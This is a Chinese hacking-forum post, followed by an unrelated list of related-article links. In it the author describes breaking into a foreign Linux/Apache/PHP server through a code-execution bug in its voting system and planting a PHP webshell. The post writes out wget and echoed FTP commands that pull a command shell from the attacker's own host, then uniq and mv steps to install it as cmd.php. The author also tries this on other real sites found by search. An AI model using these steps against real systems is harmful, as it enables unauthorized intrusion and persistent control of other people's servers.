首先俺先声明俺是个菜鸟,俺虽然是菜鸟但俺不会一直是菜鸟的(一旁兄弟喊到:别俺,俺,俺的,说普通话!)。俺,不对,我一直遵照着实践是检验真理的唯一标准这句话学习技术,这不,刚刚实践了一次有了一点小小的心得,拿出来和大家分享一下:)

简单介绍一下背景吧(旁白:我kao,你写小说呢?),我一直想拿一个TK国的肉鸡(没有仇啊,只是从来没拿过,想要!),于是google了一个,然后一阵狂扫(哎,固有思路的错)废了半天劲,结果是没戏!正准备走的时候发现了它用的一个投票系统,于是满大街找终于找到了下载地址。dwon下来后,开始阅读代码(当时很激动,第一次尝试漏洞发掘!),结果居然被我找到了一个远程代码执行的漏洞,乎乎,赶紧试了一下,成功!看样子,我要发财了。于是看了看safe_mode=OFF,嘿嘿~~可以执行shell命令。下面的思路很显然了,就是拿webshell。原来在win中碰到mssql可以执行命令的情况最简单的办法就是用echo写入一句话后门,于是赶紧找来php的一句话后门,结果一看傻了眼。linux shell中">","

1。使用单引号将要转义的字符包含起来

2。在需要转义的字符前加上“\”符号。

正要兴冲冲地修改一句话后门,才想起来还没看看目标机器的magic_quotes_gpc是怎么设置的。一想到这心里凉了一大节,一般都是ON的啊。实践检验真理,果然被我言中了。因为它一ON,所有的单引号,还有空字符,以及“\”等字符前面又被加上了一个“\”。我的一句后门被改的面目全非还执行个P啊:-(

一条路断了,接着找另一条。想到wget下载的方法,这个以前看过很多前辈用过,于是先看看wget存不存在,如图(图中我是为了方便,自己写的一个exp。):

=800) window.open('/Article/UploadPic/2007-2/2007210454786.jpg');" src="/Article/UploadPic/2007-2/2007210454786.jpg" οnlοad="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>

看样子是存在的。于是把一个执行cmd功能的php文件cmd.php改成cmd.txt上传到自己的web空间(记得要改后缀啊,因为直接请求一个php文件返回的结果是解析过的,肯定不对的了!),在exp环境中输入wget http://www.myhost.com/cmd.txt。结果等了半天却是失败了(后来我又

google了几个有漏洞的站,只有一个使用wget下载成功的。其它的都失败了!:-()

一条路又没了,哎~~~接着想吧!突然想起来原来在win下使用ftp命令上传webshell的方法,于是回忆了一下过程:

1。使用echo命令把ftp指令echo到一个文本文件里

2。使用 ftp的-s选项制订这个文本文件,这样下载的整个过程都不需要人工干预了。

好,说干就干!需要echo的内容如下:

echo open 111.111.111.111 >temp.txt

echo username >>temp.txt

echo passwd >>temp.txt

echo get cmd.txt >>temp.txt

echo bye >>temp.txt

上面的ip和用户名和密码都是假的,你问我为什么?(我kao,我怕哪为大哥把我的ftp给做了:-)实际用的时候换成你自己的就行了,好,开始在exp环境下echo,一会的功夫就echo完了。确保正确我们在cat一下看看吧:cat ./temp.txt,这一cat不要紧,我又惊了一次!里面的每一行都被重复了一次,如图(这个是我事后为了写这个文章重新做的,所以忘了在最前面echo open 111.111.111.111了,大家知道就行!:-)

=800) window.open('http://forum.eviloctal.com/attachment/Mon_0701/10_72248_1be50d4c79fba15.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0701/10_72248_1be50d4c79fba15.jpg" οnlοad="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>

面对这个问题,再次我让我想到在win+mssql情况下也碰到这样的问题,原因是由于对数据库多次查询造成的结果。当时的解决办法有很多,常用的有:

1。如果写入的是一句话后门可以直接echo进去,使用“>”而不是“>>”。

2。写入hget.vbs,用来下载指定的文件。这个时候可以才用“:”符号把各行代码连接起来,一次性写入。

3。或者是用echo把每行代码都echo到一个不同的文件,然后再用copy命令把这些文件的内容连接起来生成新的文件。

还有其它的方法我就不多说了,但很明显,这些方法用在我这里是肯定不行的了!因为我查了一下,cp命令好像不支持“+”连接符。难道没办法了吗?NO!方法是人想出来的,于是乎我查来查去还真让我找到了一个宝贝:uniq命令,这个是linux shell下的自带程序,功能很单一,但恰恰是我们需要的——去除重复行。我再kao一次,thank god!命令帮助如下:

QUOTE:

$ uniq --help

Usage: uniq [OPTION]... [INPUT [OUTPUT]]

Discard all but one of successive identical lines from INPUT (or

standard input), writing to OUTPUT (or standard output).

Mandatory arguments to long options are mandatory for short options too.

-c, --count       prefix lines by the number of occurrences

-d, --repeated     only print duplicate lines

-D, --all-repeated[=delimit-method] print all duplicate lines

delimit-method={none(default),prepend,separate}

Delimiting is done with blank lines.

-f, --skip-fields=N   avoid comparing the first N fields

-i, --ignore-case   ignore differences in case when comparing

-s, --skip-chars=N   avoid comparing the first N characters

-u, --unique       only print unique lines

-w, --check-chars=N   compare no more than N characters in lines

--help   display this help and exit

--version output version information and exit

A field is a run of whitespace, then non-whitespace characters.

Fields are skipped before chars.

Report bugs to .

常搞黑的应该能认出大多数单词了,我就不多做介绍了。反正用在我这里,就这么简单一句命令就可以搞定:uniq temp.txt >down.txt,如图:

=800) window.open('http://forum.eviloctal.com/attachment/Mon_0701/10_72248_9188d83bdf39436.jpg');" src="http://forum.eviloctal.com/attachment/Mon_0701/10_72248_9188d83bdf39436.jpg" οnlοad="if(this.width>'800')this.width='800';if(this.height>'800')this.height='800';" border=0>

哈哈,成了吧?下面用法就很简单了,在exp的提示符下输入ftp

下面的工作就好办了,使用mv改个名字就行了:mv ./cmd.txt ./cmd.php

到这里就结束了,我原来在交流版块发过一个求助的帖子,除了几个兄弟回帖外便没有什么价值的东西了。我也是菜鸟,和大多数菜鸟都有一个很不好的习惯:不懂就问。哎~~~其实有些东西不是咱们比老鸟差,而是我们太懒太不知道总结了,所以我们应该是不懂就学,而不是不懂就问!这样,我们才会从菜鸟变成老鸟,才能进步!

上面乃是自己的经验总结,看上去很简单,可是却耗费了我不少精力,所以如果您不喜欢请不要打击我,回个帖鼓励鼓励我,我会很感激的。谢谢!

linux php 如何上传webshell,linux+apache+php的一次拿webshell的心得相关推荐

  1. php项目源码发布linux,php代码上传到linux服务器无法正常显示

    近期接手了一个PHP开发的项目,一直想搞个LVS管理的工具,却一直没动力去做,这次就当是学习和为了以后工作的方便吧.开发过程中遇到这么一个问题,情况如下: 情况:在windows下写好的代码,上传在L ...

  2. linux下github上传文件,linux下将本地文件上传到github中?

    今天编写一份Python基础代码,经过Linux上传到github上,遇到点问题,已经解决 1.首先sudo su 进入root 用户 2.ls 检查出当前文件下有什么文件 3. cd 进入你将要上传 ...

  3. linux测试ftp上传速度,Linux通过trickle对FTP Client限速

    Linux通过trickle对FTP Client限速 Trickle是一款用户端带宽管理软件. Trickle通过控制socket数据读写量来控制和限制应用的上传/下载速度. ldd工具可以帮我们找 ...

  4. linux php文件上传失败,linux不能上传文件

    问题: 无法向Linux主机上传文件. 例如:我们现在想把A文件上传到 /opt/software 目录下,但是此时发现怎么都上传不上去.[isea@redis99 software]$ ll 总用量 ...

  5. linux rz 无法上传文件,linux rz上传文件及出错解决方案

    在把Windows上的文件传至Linux端时用到SecureCRT,一般小文件都没有问题,文件太大时则出现了上传后的文件只有几K大小,当然大于2个G的是不可能传的上去的了.对于几百M到1G多的大文件要 ...

  6. linux 判断文件上传轨迹,linux各种常用命令

    (1).man命令 man命令用于查看Linux各种命令的使用说明,用法如下: man 命令名↙ (2).参考背景资料或利用man命令,熟悉掌握以下基本命令的使用方法: ls:按条件列出文件 cd:进 ...

  7. java获取网络图片(比如微信授权后的头像)上传至linux服务器

    //原生获取微信信息CodeWxUserInfoVo,然后将头像上传至自己的linux服务器 //因为上传用的是 MultipartFile file所以我下载图片后返回了MultipartFile文 ...

  8. linux ftp匿名只能下载,解决linux ftp匿名上传、下载开机自启问题

    解决linux ftp匿名上传.下载开机自启问题 如果在平时学习,工作中经常使用 FTP 服务器 ,可以设置成开机自启,在设置之前要先了解几个关于自启的命令: 1.chkconfig 命令 主要作用: ...

  9. 上传图片到linux返回url,Springboot 将前端传递的图片上传至Linux服务器并返回图片的url(附源码)...

    问题由来: 用户个人信息需要添加头像功能 当前端程序是微信小程序时,前端将直接将图片 url 传送至服务端 但是当前端是 Web 页面时,前端传递的参数是一张图片,服务端需要将图片保存至 Linux ...

  10. linux 关闭开机 ftp,解决linux ftp匿名上传、下载开机自启问题

    如果在平时学习,工作中经常使用 ftp 服务器 ,可以设置成开机自启,在设置之前要先了解几个关于自启的命令: 1.chkconfig 命令 主要作用:用于检查,设置系统的各种服务.其中有几个重要参数, ...

最新文章

  1. 绝对实用 NAT + VLAN +ACL管理企业网络
  2. LeSS is More - 大规模敏捷开发框架LeSS实践(一)
  3. PAXOS/RAFT理解
  4. Ubuntu 用vsftpd 配置FTP服务器
  5. 三种运动让身高增长4-10cm
  6. linux停止nodejs,node.js – 在linux重启后,nodejs消失了
  7. python发送文件给微信好友_Python定时自动给微信好友发送天气预报
  8. 微信小程序点击button按钮后重置输入框等表单内容
  9. EXCEL两组数相等红色标示并放到第三列_VBA
  10. 万用表怎么测量电池容量_万用表检测光电耦合器的常用技巧
  11. 信息学奥赛一本通 1124:矩阵加法 | OpenJudge NOI 1.8 08:矩阵加法
  12. 思科集成管理控制器IMC爆出任意代码执行漏洞CVE-2017-6616 绿盟科技发布安全威胁通告...
  13. Android笔记 对话框demo大全
  14. 参加博客大赛,多谢大家支持
  15. scrapy 命令行基本用法
  16. Android OpenGL ES(七)----理解纹理与纹理过滤
  17. ALTAS,LAPACK, SCALAPACK, MUMPS记录
  18. 文化袁探索专栏——线程池执行原理|线程复用|线程回收
  19. 项目实训—场景划分(一)
  20. 如何用python查看pyc文件_如何理解.pyc文件内容

热门文章

  1. VC程序中运行其他程序的三种方法
  2. java box unboxing
  3. python canvas画移动物体_如何实现Canvas图像的拖拽、点击等操作
  4. 多线程中ThreadLocal的使用
  5. beautifulsoup爬取网页中的表格_用 Python 爬取网页
  6. hadoop中的9000端口代表什么_hadoop服务快速部署
  7. java list过滤重复的数据_List 去除重复数据的 5 种正确姿势!
  8. 电脑模拟器哪个好_电脑系统杀毒软件哪个好测评
  9. python 散点图 分类_Python | 分类图
  10. icmp消息类型报告传输_ICMP消息的类型和ICMP消息格式